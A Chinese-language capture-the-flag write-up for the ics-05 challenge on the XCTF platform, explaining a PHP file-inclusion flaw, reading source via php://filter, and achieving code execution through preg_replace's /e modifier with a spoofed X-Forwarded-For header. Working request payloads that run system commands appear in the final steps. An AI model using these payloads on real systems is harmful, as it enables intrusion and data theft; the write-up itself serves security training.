攻防世界【ics-05】解题方法
-
进入场景之后发现只有设备维护中心能够被点击,点击进入,发现点击“云平台设备维护中心”,url地址会发生改变,且页面中显示内容index,换成其它字符也一样能够显示到界面中
-
根据传入的参数名为page猜测可能存在文件包含漏洞,尝试使用php://input和data://text/plain协议执行system(“ls”)都失败。尝试通过php://filter协议获取index.php的源代码
php://filter/read=convert.base64-encode/resource=index.php
其中resource指明要读取的文件,read指明表示读取的方式是 base64 编码后,如果不使用base64进行编码后再读取,php代码就会直接执行,这句话的意思是我们用base64编码的方式来读文件index.php,这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到index.php的源码
发现获取成功
使用base64解码之后得到index.php源码
源码把关键字input、text都过滤掉了,这也就是php://input和data://text用不了的原因,继续查看源码,发现存在preg_replace漏洞
-
preg_replace函数定义如下
preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
函数功能为:搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换
其中pattern如果使用了/e 修正符, preg_replace() 会把 replacement 参数当作 PHP 代码执行
所以构造payload如下(注意:subject需要能够找到pattern的匹配项)index.php?pat=/test/e&rep=phpinfo()&sub=test
同时为了满足$_SERVER[‘HTTP_X_FORWARDED_FOR’] === ‘127.0.0.1’,使用burpsuite拦截请求并加上请求头
X-Forwarded-For: 127.0.0.1
得到如下结果
-
上面可知php代码可以执行成功,重新构造payload如下寻找所有名字包含flag的文件
index.php?pat=/test/e&rep=system("find / -name flag*")&sub=test
最后查看/var/www/html/s3chahahaDir/flag/flag.php文件内容即可index.php?pat=/test/e&rep=system("cat /var/www/html/s3chahahaDir/flag/flag.php")&sub=test